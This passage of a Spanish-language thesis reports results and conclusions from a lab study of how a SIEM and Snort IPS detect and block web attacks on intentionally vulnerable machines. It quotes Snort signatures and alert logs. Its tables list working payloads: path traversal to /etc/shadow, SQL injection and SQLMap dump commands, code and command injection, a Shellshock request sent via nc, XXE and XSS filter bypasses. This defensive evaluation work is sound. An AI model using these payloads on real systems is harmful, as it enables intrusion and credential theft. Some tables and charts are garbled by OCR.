Ws @ WEBMAIL @ SelfService @SGAc BITSM @ ITSM-TGT @ CGPs @ SOCIncidencias . Change

Figura 34: ataque de XSS "=<img src="zzzz' onerror="alert(1)" />".
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5. Resultados obtenidos

En este capitulo se revisaran los resultados de todas las pruebas desde el
punto de vista del proyecto. Es decir, se comprobara si realmente se han
detectado y bloqueado todas las pruebas de escaneos e intrusidon realizadas
para cada uno de los apartados. De este modo se extraeran los datos
cualitativos de cara a analizarlos en el capitulo de conclusiones.

5.1 Resultados fase I: recopilacién de informacion.

Durante esta primera fase, las herramientas de seguridad han detectado
unicamente los escaneos con las herramientas automaticas. Por el contrario,
no han detectado ninguna de las pruebas manuales que se han realizado. Al
tratarse de escaneos y técnicas de fingerprinting, realmente no es posible
bloquear las pruebas. Esto es debido a que en la mayoria de los casos
unicamente se abren soélo conexiones y realmente no se llega a ejecutar nada
excesivamente malicioso.

Los eventos detectados tanto por el IPS como por el firewall durante el periodo
en el cual se han realizado escaneos son los siguientes:

GROUPED

SIGNATURE wTOTAL #(*)a UNIQUESRC.# UNIQUE DST. # LATEST EVENT
iptables: Drop i 1 1 2016-05-06 20:29:50
[0 [0 [0 [0 [ snort: "ET SCAN NMAP -s5 window 1024" 61 1 6 2016-05-06 20:29:14

iptables: Accept 50 1 1 2016-05-06 20:25:40
snort: "ET SCAN NMAP SIP Version Detect OPTIONS Scan” 36 1 1 2016-05-06 20:30:21

directive_event: AV Network scan, service discovery detected against DST_IP 2 1 1 2016-05-06 20:22:20

Figura 35: eventos detectados de escaneos.

La tabla resumen con las pruebas detectadas o bloqueadas es la siguiente:

TABLA RESUMEN:
Prueba realizada ¢ Detectada? ¢Bloqueada?
Técnicas de descubrimiento de servicios No No
Técnicas de “fingerprintig” No No
Escaneos automaticos con "nmap" Si No
TOTAL detectadas / bloqueadas: 1/3 0/3
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5.2 Resultados fase II: Pruebas de gestion de la configuracion:

Durante esta segunda fase de pruebas de intrusién se realizaron sobre todo
ataques de fuerza bruta tanto a nivel de directorios, como a nivel de aplicacion.
Se ejecutaron un total de 9 pruebas diferentes. De estas 9, sélo se detectaron
cuatro de ellas, y de estas solo se bloquearon dos.

Las cuatro pruebas que se detectaron fueron:

Acceso via "Directory Transversal" al fichero /etc/passwd.
Acceso via "Directory Transversal" al fichero /etc/shadow.
Acceso via "Directory Transversal" al fichero /etc/mysql/my.cnf.
— Enumeracion de directorios (sin modificar el UserAgent).

De hecho, de esta ultima prueba realmente no se detectd6 como una
enumeracion de directorios, sino que el sistema de deteccion lo marcé como un
Crawler [referencia] que utiliza Wget para realizar las peticiones. Si revisamos
la firma que nos alerté:

@ Snort rule Detection
File: emerging_pro-policy.rules

payLoap  Rule: alert tcp SEXTERNAL_NET any -> SHOME_NET SHTTP_PORTS
msg: "ET POLICY POSSIBLE Web Crawl using Wget"
flow: established,.to server
content: "User-Agent|34| "
nocase:
http_header:
content: "Wget"
nocase:
http header:
fast pattern:

reference: url,www.gnu.org/software/wget/
reference: url,doc.emergingthreats.net/2002823
classtype: attempted-recon

sid: 2002823

rev: 6

Figura 36: firma de Snort, deteccidon de Crawler web.

Se puede ver como esta configurada con los siguientes umbrales:

e Qué contenga la cabecera "UserAgent|3A|" (el 3A es "" en ASCII) y
ademas esta contenga "Wget".

¢ Qué la misma IP origen envie un total de 10 conexiones en menos de 60
segundos.

Como nuestro script lanzaba una peticion cada 0.5 segundos (120 peticiones al
minuto) con UserAgent "Wget", cumplia los requerimientos para que se
generase la firma. Por el contrario, para la siguiente prueba se procedié a
modificar el UserAgent con el de mi navegador, que recordemos que es:
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Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:46.0) Gecko/20100101

Firefox/46.0

Modificando esta cabecera el ataque paso totalmente inadvertido. Las
evidencias de la deteccidn se muestran en la siguiente imagen:

SIGNATURE

[0 [0 [0 [ [0 [ [ snort: "ET POLICY POSSIBLE Web Crawl using Wget"

[ECH [E [ (i [0 [ [ snort: "ET POLICY POSSIBLE Web Crawl using Wget”

3 [0 [ (2 [0 [ [ snort: "ET POLICY POSSIBLE Web Crawl using Wget”

[ [H [ [ [ [ = snort: "ET POLICY POSSIBLE Web Crawl using Weet”

Figura 37: eventos detectados de Crawler web.

w DATE GMT+2:00 &

2016-05-07 18:34:15

2016-05-07 18:53:15

2016-05-07 18:52:15

2016-05-07 18:51:15

SENSOR

av-ips

av-ips

av-ips

av-ips

SOURCE

172.18.168.4:52286

172.18.168.4:52170

172.18.168.4:52054

172.18.168.4:51937

DESTINATION

10.147.106.25:80

10.147.106.25:80

10.147.106.25:80

10.147.106.25:80

Por otro lado, las primeras pruebas que se detectaron fueron las de "Directory
Transversal". Estas pruebas realmente fueron detectadas debido a que
intentaban acceder a ficheros muy concretos del sistema operativo. Al cambiar
los objetivos a otros posibles ficheros con informacion privilegiada no se llegé a
detectar nada. De estas, so6lo se bloquearon dos pruebas, las que intentaban
acceder a "/etc/passwd" y "/etc/shadow". El conjunto de eventos detectados es:

EVENTS

SIGNATURE

[E EE snort: "GPL EXPLOIT .cnf access”

[0 [0 [0 [ (5 [ [ snort: "ET WEB_SERVER Jetc/shadow Detected in URI"

w DATE GMT+2:00 &

2016-05-07 12:44:15

2016-05-07 12:38:33

[IE0 [ [ [ snort: "ET ATTACK RESPONSE Possible fetc/passwd via HTTP {linux style)" 2016-05-07 12:37:33

snort: "GPL WEB_SERVER /etc/passwd”

2016-05-07 12:37:33

SENSOR

av-ips

av-ips

av-ips

av-ips

SOURCE

172.18.168.4:535%4

172.18.168.4:53458

10.147.106.25:80

172.18.168.4:53433

Figura 38: eventos detectados de ataques PATH Trasversal.

DESTINATION

10.147.106.25:80

10.147.106.25:80

172.1B.168.4:53433

10.147.106.25:80

Si revisamos las firmas, se puede ver que en el primer caso (acceso a
“letc/passwd”), la prueba traspaso el IPS pero la vuelta desde el servidor fue
bloqueada por el detector de intrusos. La firma que lo hizo fue la siguiente:

@ Snort rule Detection

File: emerging_pro-attack_response.rules
Rule: alert tcp SHOME_NET $HTTP_PORTS -> SEXTERNAL_NET any
msg: "ET ATTACK_RESPONSE Possible fetc/passwd via HTTP (linux style)”

flow: established,from_server
content: "
nocase:

reference: url.doc.emergingthreats.net/bin/view/Main/2002034

classtype: misc-activity
sid: 2002034
rev: 8

Figura 39: firma Snort, deteccién de visualizacién de fichero /etc/passwd.
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Como se puede ver, el bloqueo se realizé ya que detecto el patron "root:" en la
respuesta del servidor. La segunda firma que se bloqued fue que detectd el
acceso al "/etc/shadow". En este caso fue bloqueada la peticion en cuanto se
encontré el patrén con el nombre del fichero en la peticion. La firma que
bloqueo dicho comportamiento es:

PAYLOAD {:@ Snort rule Detection

File: emerging-web_server.rules
Rule: alert tcp SEXTERNAL NET any -> SHTTP_SERVERS $HTTP_PORTS
msg: "ET WEB_SERVER /etc/shadow Detected in URI"

flow: to_server,established

nocase:
http uri:

reference: url,en.wikipedia.crg/wiki/Shadow_password
reference: url,doc.emergingthreats.net/2009485
classtype: attempted-recon

sid: 2009485

rev: 7

Figura 40: firma Snort, deteccion de peticion de fichero /etc/shadow.

A continuacion se resumen los resultados de esta segunda fase:

TABLA RESUMEN:
Prueba realizada ¢ Detectada? ¢Bloqueada?
Enumeracién de directorios No No
Pruebas de "Directory Transversal”:
Test: ../../..1..]..]..]..letc/passwd Si Si
Test: ../../..1..]..]..]..letc/shadow Si Si
Test: ../../..1..1..]1..]..letc/network/interfaces No No
Test: ../../..1..]..]..]..letc/hosts No No
Test: ../..[..[..1..1..]..Jetc/mysql/my.cnf Si No
Test: ../../../..]..]..]..[proc/version No No
Pruebas de Fuerza bruta:
Pruebas con UserAgent sin modificar Si No
Pruebas con UserAgent modificado No No
TOTAL detectadas / bloqueadas: 4/9 2/9

5.3 Resultados fase Ill: Pruebas de validaciéon de datos:

Esta tercera y ultima fase de pruebas, ademas de ser la fase en la que mas test
se han realizado, estos tenian el mayor grado de intrusion posible. Todas las
pruebas que se lanzaron tenian como fin comprometer los sistemas finales.
Debido a esto, el comportamiento deseable de los sistemas de defensa
perimetral seria que bloqueasen el mayor numero posible de ataques. Si
analizamos detalladamente todos los vectores de intrusion realizados tenemos
que:
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Pruebas de inyeccion SQL y utilizacion SQLMap:

De esta primera bateria si bien no se detectaron los test iniciales para probar si
la pagina web era vulnerable, si que se detectaron y bloquearon todos los
intentos de extraer datos. Las firmas de la herramienta que detectaron y
bloquearon estas pruebas fueron:

Firma que busca el contenido: "Union Select".

‘@ Snort rule Detection
File: emerging-web_server.rules

Rule: alert tcp SEXTERNAL_MET any -> SHTTP_SERVERS $SHTTP_PORTS
msg: "ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT"
flow: established.to server
content: "UNION"
nocase:
http_uri:
content: "SELECT"
nocase:
http_uri:

PAYLOAD

reference: url.en.wikipedia.org/wiki/SQL_injection
reference: url,doc.emergingthreats.net/2006446
classtype: web-application-attack
sid: 2006446
rev: 11
Figura 41: firma Snort, deteccién de patrén de SQLi "Union + Select".

Firma que busca el contenido: "Select From".

@ Snort rule Detection
File: emerging-web_server.rules

Rule: alert tcp SEXTERNAL MNET any -> $HTTP_SERVERS $HTTP_PORTS
msg: "ET WEB_SERVER Possible SQL Injection Attempt SELECT FROM"
flow: established,to server
content: "SELECT"
nocase:
http_uri:
content: "FROM"
nocase:
http_uri:

PAYLOAD

reference: url.en.wikipedia.org/wiki/SQL_injection
reference: url.doc.emergingthreats.net/2006445
classtype: web-application-attack
sid: 2006445
rev: 12
Figura 42: firma Snort, deteccion de patron de SQLi "Select + From™.

A continuacién se muestran los eventos relacionados con estas inyecciones
que detecto y bloqued la plataforma:
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SIGNATURE w DATE GMT+2:00 a SENSOR SOURCE DESTINATION

[0 [0 [0 [0 [0 [0 [ snort: "ET WEB_SERVER Possible SQL Injection Attempt SELECT FROM" 2016-05-09 16:29:35 av-ips  172.18.168.4:60205 10.147.106.21:80
0 [ [ [ (5 [ [ snort: "ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT" 2016-05-09 16:29:35 av-ips  172.18.168.4:60205 10.147.106.21:80
[0 [ [ [ [C3 E3 [ snort: "ET WEB_SERVER SELECT USER SQL Injection Attempt in URI™ 2016-05-09 16:29:35 av-ips  172.18.168.4:60205 10.147.106.21:80
[ [ [ [ R (2 (5 (8 [ snort: "ET WEB_SERVER MYSQL SELECT CONCAT 5QL Injection Attempt” 2016-05-08 16:29:35 av-ips  172.18.168.4:60205 10.147.106.21:80

Figura 43: eventos detectados de SQL.i.

Por otro lado, la bateria de pruebas de SQLi se finalizé realizando escaneos
masivos con la herramienta "SQLMap". Todos los escaneos que realizd esta
herramienta fueron detectados pero los sistemas defensivos no fueron capaces
de bloquear totalmente ninguna de las ejecuciones. Esto hizo que aunque se
detecto, finalmente se consiguiese descargar el contenido de la base de datos
remota. Los eventos de seguridad detectados relacionados con "SQLMap"
fueron:

SIGMATURE wTOTAL #(*)a UNIQUESRC.# UNIQUE DST. # LATEST EVENT
snort: "ET WEB_SERVER ATTACKER SQLi - SELECT and Schema Columns” 2162 1 1 2016-05-09 18:00:17
[ [T [ [ [0 B | snort: "ET SCAN Sgimap SQL Injection Scan™ 28 1 1 2016-05-09 18:11:50

Figura 44: eventos detectados tras ejecuciéon de herramienta SQLMap.

Pruebas de inyeccion de cédigo:

Las pruebas que se realizaron de inyeccion de codigo pasaron todas
desapercibidas para los sistemas de monitorizacion. Soélo se detectaron
aquellas, que al igual que en los ataques de "Directory Transversal",
referenciaban a ficheros sensibles del sistema. Es decir, solo se detectaron las
pruebas que referenciaban a:

— Fichero /etc/passwd (Se detecto el ataque pero no se bloqued).
— Fichero /etc/shadow (Se detectd y bloqued el ataque).

Los eventos que se generaron fueron los siguientes:

SIGNATURE w DATE GMT+2:00 & SENSOR SOURCE DESTINATION

snort: "GPL WEB_SERVER fetc/passwd” 2016-05-08 12:33:24 av-ips  172.18.168.4:34835 10.147.106.25:80
snort: "GPL WEB_SERVER fetc/passwd” 2016-05-08 12:33%:24 av-ips  172.18.168.4:34835 10.147.106.25:80
snort: "GPL WEB_SERVER fetc/passwid” 2016-05-08 12:33:24 av-ips  172.18.168.4:34838 10.147.106.25:80

Figura 45: eventos detectados de inyeccion de cédigo, visualizacion fichero /etc/passwd.

SIGNATURE w DATE GMT+2:00 & SENSOR SOURCE DESTINATION

0 [0 ] [ (o8 [ [ smort: "ET WEB_SERVER J/etc/shadow Detected in URI" 2016-05-08 12:42:01 av-ips  172.18.168.4:34984 10.147.106.25:80

Figura 46: eventos detectados de inyeccién de cédigo, visualizacién fichero /etc/shadow.
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Pruebas de inyeccién de comandos:

Los test de intrusion basados en inyeccién de comandos se realizaron en dos
partes. Inicialmente se intento explotar una vulnerabilidad web la cual permitia
ejecutar comandos después de ejecutar un comando "ping". Después de
realizar el test, se comprobd6 que los intentos resultaron exitosos, lo cual indica
que la defensa perimetral no detecté nada. En segundo lugar se realizd un
intento de ejecucidn de ShellShock sobre la cabecera UserAgent de HTTP.
Este intento en cambio, fue detectado y bloqueado por el sistema. La firma que
lo bloqueo es la siguiente (detecta el patron *() {" en hexadecimal):

PAYLUAD :
@ Snort rule Detection

File: emerging-web_server.rules

Rule: alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS
msg: "ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers"
flow: established to_server

http_header:

fast_pattern: only

reference: url,blogs.akamai.com/2014/09/environment-bashing.html
classtype: attempted-admin

sid: 2019232

rev: 3

Figura 47: firma Snort, deteccion de patréon de ShellShock.

Como se puede ver, el siguiente ataque concuerda con el patron anterior:
echo -e "HEAD /cgi-bin/status HTTP/1.1\\nUser-Agent: () { :;}; echo \$
(</etc/hosts)\r\nHost:  vulnerable\r\nConnection: close\r\n\r\n” | nc
172.18.169.11 8024

Los eventos que se generaron fueron los siguientes:

SIGMATURE » DATE GMT+2:00 a SENSOR SOURCE DESTINATION

[EH snort: "ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers" 2016-05-08 14:50:10 av-ips  172.18.168.4:60581 10.147.106.24:80

[ snort: "ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers" 2016-05-08 14:49:03 av-ips  172.18.168.4:60571 10.147.106.24:80

Figura 48: eventos detectados tras pruebas de intrusién con ShellShock.

Pruebas de inyecciéon de XML.:

Todos los intentos de intrusién que se realizaron basados en inyecciones XML
fueron satisfactorios. Es decir, ninguno de los ataques fue detectado ni
bloqueado.

Pruebas de ejecuciéon de Cross Site Scripting:

En el caso contrario al anterior tenemos los ataques de tipo XSS. Este tipo de
ataques fueron bloqueados en un 66% de los intentos. Siempre que el XSS
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tuviese la palabra "script" de alguna forma el ataque era bloqueado.
Unicamente fueron satisfactorios los intentos que se ejecutaban sobre la
variable "onerror". A continuacion se pueden ver los eventos de Cross Site
Scripting que se generaron y se bloquearon:

SIGNATURE w DATE GMT+2:00 & SENSOR SOURCE DESTINATION

[0 [ [ [ [0 [0 [ snort: "ET WEB_SERVER Script tag in URI, Possible Cross Site Scripting Attempt” 2016-05-08 14:42:07 av-ips  172.18.168.4:37116 10.147.106.25:80
[0 [ [0 [ [0 [0 [ snort: "ET WEB_SERVER Script tag in URI, Possible Cross Site Scripting Attempt” 2016-05-08 14:30:29 av-ips  172.18.168.4:36875 10.147.106.25:80
[0 [ [ [ [0 [0 [ snort: "ET WEB_SERVER Script tag in URI, Possible Cross Site Scripting Attempt” 2016-05-08 14:27:37 av-ips  172.18.168.4:36822 10.147.106.25:80
[0 [ [ [ [0 [0 [ snort: "ET WEB_SERVER Script tag in URI, Possible Cross Site Scripting Attempt” 2016-05-08 14:26:03 av-ips  172.18.168.4:36780 10.147.106.25:80

Figura 49: eventos detectados relacionados con pruebas de XSS.

La firma que detectd estos eventos busca el patrén de cierra de etiqueta script
(“</script>") en cualquier parte del payload:

PAYLOAD @ Snort rule Detection

File: emerging-web_server.rules
Rule: alert tcp SEXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

msg: "ET WEB_SERVER Script tag in URI, Possible Cross Site Scripting Attempt”
flow: to_server,established

fast_pattern: only

nocase:

http_uri:

reference: url,ha.ckers.org/xss.html

reference: url,doc.emergingthreats.net/2009714
classtype: web-application-attack

sid: 2009714

rev: 6

Figura 50: firma Snort, deteccion de patrén de "</script>" de XSS.

A continuacion se muestra la tabla resumen con las pruebas detectadas o
bloqueadas:

TABLA RESUMEN:
Prueba realizada | ¢ Detectada? | ¢Bloqueada?
Inyecciones SQL
Inyeccion: ' and '1'="1 No No
Inyeccion: ' OR '1'="1 No No
Inyeccion: ' OR '"1'='1"%23 No No
Inyeccion: id=100-99%23 No No
Inyeccién: age %20DESC%20%23 No No
Inyeccion: age” %20ASC%20%23 No No
Inyeccion: ' UNION SELECT %23 Si Si
Inyeccion: ' SELECT FROM %23 Si Si
Inyeccion: 1 UNION SELECT Si Si
1,concat(login,":' password),3,4 FROM users;
Inyecciones SQL con SQLMap
Barrido de inyecciones con SQLMap: --headers="X- | Si \ No
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Forwarded-For: *" --banner

Barrido de inyecciones con SQLMap: --headers="X-

Forwarded-For: *" --dbs Si No
Barrido de inyecciones con SQLMap: --headers="X- Si No
Forwarded-For: *"-D photoblog --tables
Barrido de inyecciones con SQLMap: --headers="X- Si No
Forwarded-For: *"-D photoblog -T users --columns
Barrido de inyecciones con SQLMap: --headers="X- Si No
Forwarded-For: *"-D photoblog -T users --dump --batch
Inyecciones de cédigo
Inyeccion: ".system('uname -a');%23 No No
Inyeccion: ".system('cat /etc/passwd'); %23 Si No
Inyeccidén: ".system('ping -¢ 2 194.179.1.100'); %23 No No
Inyeccion: );}system('uname%20-a");// No No
Inyeccidn: );}system(‘cat%20/etc/shadow');// Si Si
Inyecciones de comandos
Inyeccion: %26%26 netstat -putan No No
Inyeccién: ; for i in $(Is -la | awk {print $9}'); do echo No No
"Dir: $i"; Is $i/ ;done
Inyeccién ShellShock: () { :;}; echo \$(</etc/hosts) Si Si
Inyecciones de XML
Inyecciéon: xml=<IDOCTYPE test [<IENTITY x No No
SYSTEM "file:///etc/hosts">]><test>%26x;</test>
Inyeccion: ' or 1=1]%00 No No
Inyeccion: '%200r%201=1]/child::node()%00 No No
Inyeccion: hacker'%20or No No
%201=1]/parent::*/child::node()%00
Cross Site Scripting
Inyeccidn: <script>alert(1);</script> Si Si
Inyeccién: <sCript>alert(1);</sCript> Si Si
Inyeccién: Pentest<script>alert(1);</sCript>erLab Si Si
Inyeccidn: <img src='zzzz' onerror="alert(1)' /> No No
Inyeccion: <IMG SRC=/
onerror="alert(String.fromCharCode(88,83,83))"></img No No
>
Inyeccion: <<SCRIPT>alert("XSS");//<</SCRIPT> Si Si
TOTAL detectadas / bloqueadas: 15/32 9/32

5.4 Analisis de los resultados:

Si analizamos en detalle los resultados obtenidos, tenemos que en las primeras
fases no existe apenas deteccion y bloqueo de ataques. A medida que se
aumenta la severidad y grado de intrusismo de los ataques, las detecciones y
bloqueos se van incrementando gradualmente. Este comportamiento puede
verse en la siguiente grafica, donde se muestran los eventos detectados y

bloqueados respecto el total:

50




35

30 |
25 I

20 I

15 Total ataques

10 / Eventos detectados

Eventos bloqueados

Faselll:Pruebas de
validacion de datos

Fasell:Pruebas de
gestion de la
configuracion

Fasel:recopilacion de
informacian

Figura 51: analisis de ataques, eventos detectados y bloqueados agrupados por fases.

Igualmente, los niveles de deteccidon y bloqueo han sido bastante bajos. El
porcentaje de detecciones en todas las fases ha estado por debajo del 50% vy el
nivel de bloqueos ha estado rondando el 25% en las fases con ataques mas
agresivos. La siguiente grafica muestra los porcentajes de deteccién y bloqueo:
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Figura 52: porcentajes de intrusiones detectadas y bloqueadas por fases.

Profundizando en los datos obtenidos y disgregando los ataques por tipologia,
se puede observar como los ataques de las vulnerabilidades mas habituales
como son:

Inyeccion SQL

Cross Site Scripting
Directory Transversal
Inyecciones de codigo
Inyecciones de comandos
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Tienen un porcentaje mucho mayor de deteccion y bloqueo. Por el contrario, las
pruebas de fuerza bruta tanto de usuarios como de directorios tienen un nivel
de deteccién bajo pero no se bloquea ningun tipo de evento. Esto es debido a
que realmente estos ataques se basan en la ejecucion de peticiones licita de
manera masiva. En consecuencia, no se suele bloquear automaticamente en
los sistemas perimetrales, sino que se suele realizar bloqueos a través de otros
medios. Esto asi debido a que no es facil delimitar que un usuario normal de lo
que puede ser un usuario malicioso. La siguiente grafica contiene el porcentaje
de bloqueos por tipologia:
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Figura 53: porcentajes de intrusiones detectadas y bloqueadas por categoria de ataque.

En ultimo lugar, se adjuntan las tablas resumen por fases y tipologia de
eventos:

TABLA RESUMEN: (por tipologia de eventos)

Tipologia de ataques ¢Detectados? | ¢Bloqueados?
Recopilacion de informacion 1/3 0/3
Enumeracién de directorios 0N 0/1
Directory Transversal 3/6 2/6
Fuerza bruta 1/2 0/2
SQLi 8/14 3/14
Inyecciones de cddigo 2/5 1/5
Inyecciones de comandos 1/3 1/3
Inyecciones de XML 0/4 0/4
Cross Site Scripting 4/6 4/6
TOTAL detectadas / bloqueadas: 20/44 11/44
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TABLA RESUMEN: (por fases)
FASE ¢Detectados? | ¢Bloqueados?
Fase |: recopilacion de informacion 1/3 0/3
Fase_ Il: Pr_u,ebas de gestion de la 4/9 2/9
configuracién
Fase lll: Pruebas de validacion de datos 15/32 9/32
TOTAL detectadas / bloqueadas: 20/44 11/44
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6. Conclusiones

6.1 Premisas:

Antes de sacar conclusiones sobre las pruebas realizadas hay que tener en
cuenta que se esta trabajando sobre un entorno totalmente vulnerable. Esto
quiere decir que a pesar que las medidas de seguridad implementadas son las
mas habituales, no es asi en el entorno de trabajo. Habitualmente la presencia
web en internet no suele presentar un numero de vulnerabilidad tan elevado
como el entorno propuesto. Esto quiere decir que aunque en el trabajo se haya
tenido un elevado grado de penetracién, no sera asi en un entorno real. Esto es
debido a que el numero posible de vectores de ataques es mucho menor y las
paginas suelen estar mas segurizadas.

6.2 Conclusiones de los resultados:

A la hora de emitir conclusiones tenemos que tener en cuenta que los ataques
gue se bloquean son un subconjunto de los ataques detectados, es decir, no es
posible bloquear un intento de intrusion si previamente no ha sido detectado
por la plataforma. Si revisamos el conjunto de ataques realizados por
tipologias:
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Figura 54: analisis de ataques, eventos detectados y bloqueados agrupados por
categorias.

Tenemos que realmente la tasa de deteccion de ataques de un sistema por
defecto es bastante baja, especialmente en las vulnerabilidades que dependen
de las personas, es decir:

- Vulnerabilidades por fallos de programacion web.
- Vulnerabilidades por fallos de configuracion en los servidores web.

Debido a esto se puede concluir, que realmente para llegar un grado de
madurez mayor es necesario tener expertos en seguridad que analicen estas
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situaciones y en consecuencia, disefien firmas especificas para contrarrestar
estos fallos. Esta es la forma en la que los sistemas de seguridad perimetral
mas habituales son mucho mas efectivos. Por otro lado, tras analizar las tasas
de deteccion y bloqueo:

B Ataques NO detectados B Ataques detectados Ataques blogueados

\_\_\—_

25%
45%

Figura 55: porcentajes de eventos detectados y bloqueados respecto el total de ataques.

Podemos deducir que realmente la tasa de bloqueo es muy elevada en relacion
a la tasa de detecciones. De esto punto concluimos que las firmas que disefian
los fabricantes o en este caso la comunidad, son realmente efectivas a la hora
de bloquear los ataques mas genéricos. De tal modo que un sistema que se
pone por defecto es capaz de proteger de una cantidad razonable de intentos
de intrusion.

A consecuencia de todo esto, se puede inferir que los sistemas perimetrales de
las entidades actuales (si no son constantemente adaptados a los entornos)
son capaces de proteger de un elevado numero de intentos de intrusion
genéricos, por el contrario estos sistemas no se adaptan a las necesidades
especificas de los diferentes ambitos web.

6.3 Grado de madurez de los sistemas de seguridad:
Todas estas conclusiones anteriores nos hacen reflexionar sobre el grado de
madurez de los sistemas de seguridad. Este parametro depende
principalmente de los siguientes valores:

— Cantidad de inversion en seguridad informatica por parte de las

entidades. Esta inversion no solo es en dispositivos, sino también en
especialistas en el campo de la seguridad.
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— Grado de concienciacidon relativo a la seguridad. Esta parte es
especialmente importante ya que el factor humano es el eslabén mas
débil, el principal véctor de fallo. Los actores principalmente involucrados
en este punto son:

o Administradores de plataformas.
o Desarrolladores de los diferentes entornos.
o Usuarios finales.

Si analizamos profundamente estos dos puntos anteriores, tenemos que
realmente la mayoria de las entidades tienen unos sistemas de seguridad muy
basicos cuyas medidas de seguridad son muy laxas. Estos sistemas ademas
son facilmente evadibles en determinadas situaciones. Incluso, existen
entidades que ni siquiera disponen de medidas de proteccion dejando asi
expuestos totalmente sus servicios en Internet, habitualmente con versiones
obsoletas de software. Y esto es lo que realmente provoca la cantidad tan
grande de “botnets”, servidores comprometidos e incluso equipos que alojan
"phising" o envian SPAM.

Si estudiamos las tendencias actuales obtenemos que realmente las empresas
y entidades publicas van cambiando su percepcion, se van dando cuenta de lo
necesario que es custodiar adecuadamente sus datos y sus servicios. Existen
multitud de ejemplos dénde un malware de la familia "Cryptolocker" ha
generado grandes danos a organizaciones, o incluso, donde un Hacker ha
vulnerado un sistema dafiando gravemente la reputacion de una empresa.
También existen casos donde ataques de denegacion de servicio han
producido la parada de ventas en sistemas de compra online. En el anexo 9.8
se pueden ver ejemplos especificos. Debido a este tipo de afectaciones, afo
tras afno se va incrementando las medidas de seguridad, tanto a nivel de
concienciacién como a nivel de inversion, aumentando asi la madurez relativa a
la seguridad en los sistemas de informacion.

6.4 Analisis del seguimiento de la planificacion y metodologia:

Revisando los tiempos de ejecucién del trabajo se puede indicar que se han ido
cumpliendo la mayoria de los hitos de la planificacion por adelantado. Esto ha
hecho que realmente no sea necesaria haber modificado ni retrasado ningun
hito de esta. En cuanto a la metodologia, al estar el proyecto tan acotado desde
principio a fin no ha sido necesario revisarla. Realmente se han obtenido los
productos que inicialmente estaban pensados.

6.5 Evolucion del proyecto:

En relacion a las lineas de trabajo futuro para dar mayor robustez al sistema
elegiria principalmente tres vertientes. La primera de ellas seria la de proteger
el entornos con herramientas mucho mas adaptadas. Para ello habria que
hacer una re-arquitectura del entorno y afadir un proxy inverso que
recepcionase y redirigiese todas las peticiones web. De esta manera,
tendriamos otra vez un unico punto de entrada de las peticiones. En este proxy
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inverso, afiadiriamos un firewall de capa 7, mas en concreto un WAF (Web
Application Firewall). Este tipo de dispositivo estda muy adaptado vy
especializado en parar los principales intentos de intrusién via HTTP.
Habitualmente los motores de esta herramienta funcionan con aprendizaje de
URLs y expresiones regulares, lo que hace que paren facilmente ataques como
los de “PATH trasversal’. Un probable modelo que seleccionariamos para
nuestro entorno seria el WAF conocido con el nombre de ModSecurity. Tras
realizar estos cambios en nuestro entorno, los flujos de comunicacion y la
arquitectura quedarian de la siguiente manera:

IP5 PER-RCP-1

11
Red: 10.147,106.0/24 - Servicig)

Atacante
Proxy Inverso
+
WAF

RED DE
SERVIDORES
VULNERABLES

Administrador de
la plataforma

Red: 10.147,104,07 24 - Gestidn ]

Flujo: Véctor de atague
Flujo: administracion VPN -.________..-—"
Flujo de envio de eventos —__

Figura 56: linea de trabajo futuro: insercion de WAF en la arquitectura.

La segunda linea de trabajo en la que habria que profundizar seria en la
creacion de firmas especificas para nuestro entorno. De esto modo,
conseguiriamos aumentar en gran medida la tasa de deteccion y bloqueo de
nuestra plataforma sin anadir costes a la infraestructura.

Por otro lado, la tercera linea de trabajo que seguiria seria la de dotar a la
plataforma de mayor inteligencia. Como ya disponemos de un SIEM que
integra todas las fuentes de seguridad, aprovecharia para mejorar la
correlacion del entorno. Para ello seria necesario disefiar reglas de correlacion
mas avanzadas. Algunos ejemplos de reglas que se podrian disefar para
detectar comportamientos anémalos seria:

— Detectar cuando un atacante (IP publica origen) genera 2 o 3 eventos
distintos en el IPS.

— Detectar cuando un atacante (IP publica origen) realiza un escaneo de
red y posteriormente genera cualquier evento en el IPS o WAF.

— Detectar cuando un atacante (IP publica origen) genera varios eventos
contra varias maquinas destino distintas.
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— Detectar cuando un atacante (IP publica origen) genera una cantidad
muy elevada de eventos en el IPS.

— Detectar cuando un atacante (IP publica origen) genera un evento en el
IPS y posteriormente un evento en el WAF.

Y con estas reglas de correlacién, aplicar una politica de seguridad la cual
bloquee temporalmente la IP atacante cuando detectase uno de estos
comportamientos anteriores. Este bloqueo se podria afadir bien a nivel del
WAF o bien a nivel del firewall perimetral de la plataforma.
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7. Glosario

DNS — Domain Name Server

FTP — File Transfer Protocol

HTML — Hypertext Markup Language
IP — Internet Protocol

IDS — Intrusion Detection System
IPS — Intrusion Prevention System
NAT — Network Address Translation
NTP — Network Time Protocol

NG — Next Generation

OSSIM — Open Source SIEM
OWASP — Open Web Application Security Project
QOS - Quality of Service

SIEM — Security information and event management
SQL — Structured Query Language
SSH — Secure Shell

TCP — Transmission Control Protocol
UTM — Unified threat management
URI — Uniform Resource ldentifier
URL - Uniform Resource Locator
UDP — User Datagram Protocol
VLAN — Virtual Local Area Network
VPN — Virtual Private Network

WAF — Web application firewall

XML — Extensible Markup Language
XSS - Cross-Site Scripting
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https://pentesterlab.com/exercises/web_for_pentester_ll/course

[16] CVE-2014-6271/Shellshock, https://pentesterlab.com/exercises/cve-2014-
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8.3 ISOs de las maquinas vulnerables:

[17] From SQL Injection to Shell, https://ptl.io/from_sqli_to_shell _i386.iso

[18] From SQL Injection to Shell Il, https://ptl.io/from_sqli_to_shell_Il_i386.iso

[19] Play XML Entities, https://ptl.io/play_xxe.iso
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9. Anexos

9.1 Requerimientos hardware del entorno virtualizado:

Todo el entorno ha sido virtualizado en un servidor ESXi. A continuacion se
adjunta una captura de pantalla del estado de las maquinas virtuales
desplegadas y sus consumos de CPU y memoria:

Name - | State Provisioned Space, Used Space Host CPU -MHz | Host Mem - MB | Guest Mem - %
@ Entorno 01 - Alienvault - Av-SIEM-RCP-01 Powered On 304,11 GB 304,11 GB 753l 4141 26
E} Entorno 01- AlienVault- FW-PER-RCP-01 Powered On 11,11 GB 11,11 GB 761 578 510
